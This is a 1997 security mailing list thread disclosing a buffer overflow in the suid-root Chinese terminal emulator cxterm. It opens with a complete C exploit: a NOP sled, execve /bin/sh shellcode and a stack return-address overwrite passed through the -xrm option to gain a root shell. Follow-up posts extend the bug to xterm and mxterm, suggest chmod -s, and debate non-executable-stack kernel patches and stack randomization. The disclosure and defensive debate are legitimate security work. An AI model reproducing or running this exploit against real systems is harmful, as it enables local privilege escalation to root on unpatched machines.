cxterm is a Chinese terminal emulator for the X Window System.
It''s installed as suid-root by default if you did a make install.
Just like xterm, it does needs to be suid to update
/etc/utmp...blahblah...
I discovered some buffer overflow bugs in it. The code
attached below is the exploit.
Quick fix? chmod -s /path/cxterm
=========================================================================/*
cxterm buffer overflow exploit for Linux. This code is tested on
both Slackware 3.1 and 3.2.
Ming Zhang
mzhang@softcom.net
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[]
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i,OffSet = DEFAULT_OFFSET;
/* use a different offset if you find this program doesn''t do the job
*/
if (argc>1) OffSet = atoi(argv[1]);
buff = malloc(2048);
if(!buff)
{
printf("Buy more RAM!\n");
exit(0);
}
ptr = buff;
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
memcpy (ptr,nop,NOP_SIZE);
ptr+=NOP_SIZE;
}
for(i=0;i < strlen(shellcode);i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_sp() + OffSet;
ptr = (char *)addr_ptr;
*ptr = 0;
(void) fprintf(stderr,
"This bug is discovered by Ming Zhang
(mzhang@softcom.net)\n");
/* Don''t need to set ur DISPLAY to exploit this one, cool huh? */
execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}
===================================================================================
> cxterm is a Chinese terminal emulator for > the X Window System. It''s installed as > suid-root by default if you did a make > install. Just like xterm, it does needs > to be suid to update /etc/utmp...blahblah... > > I discovered some buffer overflow bugs in it. > The code attached below is the exploit. > > Quick fix? chmod -s /path/cxtermBetter fix: I think you can stop that in the kernel and even get a log of who tried to exploit it. http://www.linuxhq.com/lnxlists/linux-kernel/lk_9705_02/0453.html The patch is well thought out, with consideration for signals and trampolines. ---- moderator, I prefer to read this on the web
On Wed, 14 May 1997, Ming Zhang wrote:> cxterm is a Chinese terminal emulator for the X Window System. > It''s installed as suid-root by default if you did a make install. > Just like xterm, it does needs to be suid to update > /etc/utmp...blahblah...[exploit was here] This bug are also in mxterm-2.0-2 (Motiff Xterm) and xterm from XFree86-3.2-9. I tested exploit on RedHat 4.0 with libXt from XFree86-libs-3.2-9 and it works (bash#) Probably this bug is in function XtAppInitialize() in libXt Temp. fix: chmod -s /Xpath/bin/*xterm M. -| == Marcin Bohosiewicz marcus@venus.wis.pk.edu.pl == |- -| == tel. +048 (0-12) 37-44-99 marcus@krakow.linux.org.pl == |- -| == Strona Domowa - http://venus.wis.pk.edu.pl/marcus/ == |-
On Wed, 14 May 1997, Albert D. Cahalan wrote:> > Quick fix? chmod -s /path/cxterm > > Better fix: I think you can stop that in the kernel and even > get a log of who tried to exploit it. > > http://www.linuxhq.com/lnxlists/linux-kernel/lk_9705_02/0453.html > > The patch is well thought out, with consideration for signals > and trampolines. > > ----Solar Designer''s kernel patch to remove stack execution privilege, while a nice concept, is not a complete solution and is only a fix for today''s "find-unbounded-string-copy-insert-shellcode-into-return-address" write-code-in-10-min. stack smashing vulnerabilities. Since special considerations must be made to allow signals to have an executable stack, it is entirely possible that someone could write an exploit that takes advantage of the signal handlers. Another approach might be to "string" an execve() call together, all from various places in the binary. Both of these approaches, while significantly more difficult to write, are not covered by a patch such as this one. A very nice patch, unfortunately it''s only a kluge to prevent against the latest. BUGTRAQ has been discussing this on and off for about the last month, and many people have brought up some interesting points check out: http://geek-girl.com/bugtraq/1997_2/ Patches such as this are great, if you realize that it''s no substitution for fixing the offending program, and you understand its shortcomines. IMO, the OpenBSD folks seem like the only people (Theo, esp.) who are attacking this problem the Right Way (complete code audits, fixing, re-writing insecure function call instances), it''s about time we (us humble linux folk ;-) assumed this approach and level of awareness. I''m publishing a paper detailing the UNIX buffer overflow problem, and it includes some linux specific information.. it''s not quite done yet, if anyone would like to read a perliminary copy, drop me some mail. -- -Nate Smith <nate@millcomm.com> | http://millcomm.com/~nate/ CoffeedrinkinHardcorePunkrockinSecuritymindedFreeUNIXgeek :-)
>>> Quick fix? chmod -s /path/cxterm >> >> Better fix: I think you can stop that in the kernel and even >> get a log of who tried to exploit it. >> >> http://www.linuxhq.com/lnxlists/linux-kernel/lk_9705_02/0453.html >> >> The patch is well thought out, with consideration for signals >> and trampolines. > > Solar Designer''s kernel patch to remove stack execution privilege, > while a nice concept, is not a complete solutionPlease don''t discourage use of an excellent solution that is not perfect in every way.> and is only a fix for today''s "find-unbounded-string-copy-insert- > shellcode-into-return-address" write-code-in-10-min. stack > smashing vulnerabilities. Since special considerations must be > made to allow signals to have an executable stack,WRONG. You have not seen the latest patch. Stack execution does not get enabled ever. (you may enable trampoline detection or set a flag in the executable header if needed) The signal handlers were modified to use an illegal return address, which the kernel detects.> it is entirely possible that someone could write an exploit > that takes advantage of the signal handlers.No.> Another approach might be to "string" an execve() call together, > all from various places in the binary. Both of these approaches, > while significantly more difficult to write, are not covered by > a patch such as this one.For the second problem, I think you can randomize the stack starting location. Then an attacker would need to crash the executable millions of times and not be able to reproduce success without the same trial and error.